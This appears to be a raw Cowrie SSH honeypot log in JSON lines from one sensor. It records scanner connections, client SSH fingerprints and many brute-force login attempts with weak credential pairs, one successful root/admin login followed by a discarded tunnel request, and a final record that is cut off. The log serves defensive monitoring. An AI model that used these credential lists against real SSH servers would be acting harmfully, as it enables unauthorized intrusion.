{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:16:49.294473Z","src_ip":"92.118.39.92","session":"ba3e1e7a278a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:16:49.315702Z","src_ip":"2.57.122.208","session":"6f1efca7437e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tradebot","password":"bot","message":"login attempt [tradebot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:16:49.618409Z","src_ip":"92.118.39.92","session":"ba3e1e7a278a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:16:50.729610Z","src_ip":"92.118.39.92","session":"ba3e1e7a278a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.66.10","src_port":31310,"dst_ip":"10.17.0.5","dst_port":22,"session":"d816d3baeaa4","protocol":"ssh","message":"New connection: 80.66.66.10:31310 (10.17.0.5:22) [session: d816d3baeaa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:17:42.422459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:17:42.427452Z","src_ip":"80.66.66.10","session":"d816d3baeaa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:17:42.536798Z","src_ip":"80.66.66.10","session":"d816d3baeaa4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:17:42.864707Z","src_ip":"80.66.66.10","session":"d816d3baeaa4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"80.66.66.10","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:17:42.976610Z","session":"d816d3baeaa4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:17:43.087404Z","src_ip":"80.66.66.10","session":"d816d3baeaa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:17:43.198566Z","src_ip":"80.66.66.10","session":"d816d3baeaa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52188,"dst_ip":"159.203.135.109","dst_port":22,"session":"663593074418","protocol":"ssh","message":"New connection: 2.57.122.208:52188 (159.203.135.109:22) [session: 663593074418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:18:57.014895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:18:57.025992Z","src_ip":"2.57.122.208","session":"663593074418","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:18:57.188115Z","src_ip":"2.57.122.208","session":"663593074418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:18:57.635107Z","src_ip":"2.57.122.208","session":"663593074418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:18:58.745300Z","src_ip":"2.57.122.208","session":"663593074418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":34640,"dst_ip":"10.17.0.5","dst_port":22,"session":"e371df760738","protocol":"ssh","message":"New connection: 92.118.39.92:34640 (10.17.0.5:22) [session: e371df760738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:19:06.677181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:19:06.682012Z","src_ip":"92.118.39.92","session":"e371df760738","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:19:06.789644Z","src_ip":"92.118.39.92","session":"e371df760738","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot123","message":"login attempt [bot/bot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:19:07.203496Z","src_ip":"92.118.39.92","session":"e371df760738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:19:08.314417Z","src_ip":"92.118.39.92","session":"e371df760738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.103.111","src_port":52768,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cc957593a8c","protocol":"ssh","message":"New connection: 180.76.103.111:52768 (159.203.135.109:22) [session: 0cc957593a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:19:28.336095Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:19:28.340586Z","src_ip":"180.76.103.111","session":"0cc957593a8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":55300,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ba1b2a0ad9b","protocol":"ssh","message":"New connection: 2.57.122.208:55300 (159.203.135.109:22) [session: 5ba1b2a0ad9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:21:02.815823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:21:02.868518Z","src_ip":"2.57.122.208","session":"5ba1b2a0ad9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:21:02.967016Z","src_ip":"2.57.122.208","session":"5ba1b2a0ad9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:21:03.513379Z","src_ip":"2.57.122.208","session":"5ba1b2a0ad9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:21:04.629388Z","src_ip":"2.57.122.208","session":"5ba1b2a0ad9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":51308,"dst_ip":"10.17.0.5","dst_port":22,"session":"92a9d9ba6714","protocol":"ssh","message":"New connection: 92.118.39.92:51308 (10.17.0.5:22) [session: 92a9d9ba6714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:21:22.470371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:21:22.474176Z","src_ip":"92.118.39.92","session":"92a9d9ba6714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:21:22.574720Z","src_ip":"92.118.39.92","session":"92a9d9ba6714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tradebot","password":"bot123","message":"login attempt [tradebot/bot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:21:22.877546Z","src_ip":"92.118.39.92","session":"92a9d9ba6714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:21:24.022638Z","src_ip":"92.118.39.92","session":"92a9d9ba6714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":52579,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9f121229cef","protocol":"ssh","message":"New connection: 2.57.121.25:52579 (159.203.135.109:22) [session: a9f121229cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:22:47.990815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:22:47.995820Z","src_ip":"2.57.121.25","session":"a9f121229cef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:22:48.101534Z","src_ip":"2.57.121.25","session":"a9f121229cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rebekah","message":"login attempt [user/rebekah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:22:48.597693Z","src_ip":"2.57.121.25","session":"a9f121229cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rb26dett","message":"login attempt [user/rb26dett] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:22:49.705375Z","src_ip":"2.57.121.25","session":"a9f121229cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rawhide","message":"login attempt [user/rawhide] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:22:50.813444Z","src_ip":"2.57.121.25","session":"a9f121229cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty99","message":"login attempt [user/qwerty99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:22:51.921616Z","src_ip":"2.57.121.25","session":"a9f121229cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"quinn","message":"login attempt [user/quinn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:22:53.030057Z","src_ip":"2.57.121.25","session":"a9f121229cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:22:54.168948Z","src_ip":"2.57.121.25","session":"a9f121229cef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47706,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec4672e4ada5","protocol":"ssh","message":"New connection: 2.57.122.208:47706 (159.203.135.109:22) [session: ec4672e4ada5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:23:07.718626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:23:07.811752Z","src_ip":"2.57.122.208","session":"ec4672e4ada5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"]